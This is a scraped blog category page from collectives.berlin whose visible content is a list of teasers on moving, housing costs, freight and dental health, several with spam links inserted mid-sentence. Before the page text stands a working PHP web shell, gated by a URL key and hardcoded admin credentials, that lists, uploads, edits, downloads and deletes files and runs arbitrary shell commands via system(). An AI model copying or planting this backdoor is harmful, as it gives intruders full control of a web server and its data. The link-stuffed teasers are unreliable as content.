if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 26 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • How to Budget for City Utilities and Hidden Housing Costs

    Budgeting for city utilities and hidden housing costs is crucial for maintaining financial stability in urban living. Many new residents underestimate these expenses, https://horizonlivingpost.com which can lead to financial strain. This report outlines effective strategies to help individuals budget accurately for these costs. Understanding City Utilities City utilities typically include water, electricity, gas, trash collection,…

    Click or not…

  • Packing Tips to Protect Fragile Items During Transit

    Transporting fragile items can be a daunting task, massachusettsmovingnews.com whether you’re moving to a new home, shipping delicate products, or sending gifts. The risk of breakage during transit is high if proper packing techniques are not employed. This report outlines effective packing tips to ensure the safety of fragile items during transit, minimizing the chances…

    Click or not…

  • Взаємозв’язок здоров’я зубів і травлення для загального благополуччя

    Рекомендується ретельно слідкувати за чистотою ротової порожнини для підтримки нормальної функції шлунково-кишкового тракту. Наявність бактерій, які виникають через карієс чи запалення, g-smile.com.ua може призвести до порушень в засвоєнні живильних речовин. Важливо забезпечити регулярний безпосередній догляд за ротовою порожниною, щоб мінімізувати ризик утворення нальоту та інших проблем. Чищення зубів не менше двох разів на день та…

    Click or not…

  • How to Choose Between Air, Ground and Rail Freight

    Choosing the right mode of freight transportation is crucial for businesses looking to optimize their supply chain and logistics operations. The three primary options available—air, https://nationalconsumerreportss.com/ ground, and rail freight—each have distinct advantages and disadvantages that can significantly impact delivery speed, cost, and reliability. This report outlines the key considerations for selecting between these modes…

    Click or not…

  • Cross Country Moving in Winter: Weatherproofing Tips

    Moving across the country during winter can be a daunting task, especially with the unpredictable weather conditions that can affect your plans. From snowstorms to icy roads, winter presents unique challenges that require careful preparation and https://businessmovingservicess.com planning. This report outlines essential weatherproofing tips to ensure a smooth and successful cross-country move during the winter…

    Click or not…

  • How to Safely Dispose of Hazardous Materials Before Moving

    Moving can be an overwhelming process, especially when it comes to dealing with hazardous materials. These substances can pose serious risks to health and the environment if not handled properly. Therefore, it is essential to safely dispose of hazardous materials before relocating. This report outlines the steps to take for safe disposal, ensuring compliance with…

    Click or not…

  • Downsizing Your Home: Tips for a Stress-Free Transition

    Downsizing your home can be a significant life change, often prompted by various factors such as retirement, financial considerations, or a desire for a simpler lifestyle. While the process can be daunting, with careful planning and organization, https://americanhousingtransition.com it can also be a rewarding experience. Here are some essential tips for ensuring a stress-free transition…

    Click or not…

  • What to Look for During a Final Walkthrough Before Moving In

    A final walkthrough is a crucial step in the home buying process, serving as the last opportunity for https://movingtohawaiiguide.com buyers to ensure that the property is in the agreed-upon condition before closing the deal. This moment is not just a formality; it is an essential inspection that can save buyers from unexpected issues after moving…

    Click or not…

  • How to Move Large Furniture Without Damaging Your Home

    Moving large furniture can be a daunting task, miamimovershub.com especially when you aim to avoid damage to both the furniture and your home. With careful planning and the right techniques, you can successfully navigate this challenge. Here’s a detailed guide on how to move large furniture without causing any harm to your property. 1. Measure…

    Click or not…

  • How to Declutter Your Home Before a Big Move

    Moving to a new home is an exciting adventure, but it can also be overwhelming, especially when it comes to packing up your belongings. One of the most effective ways to ease the moving process is to declutter your home before the big day. Not only does this make packing more manageable, https://relocationtimess.com but it…

    Click or not…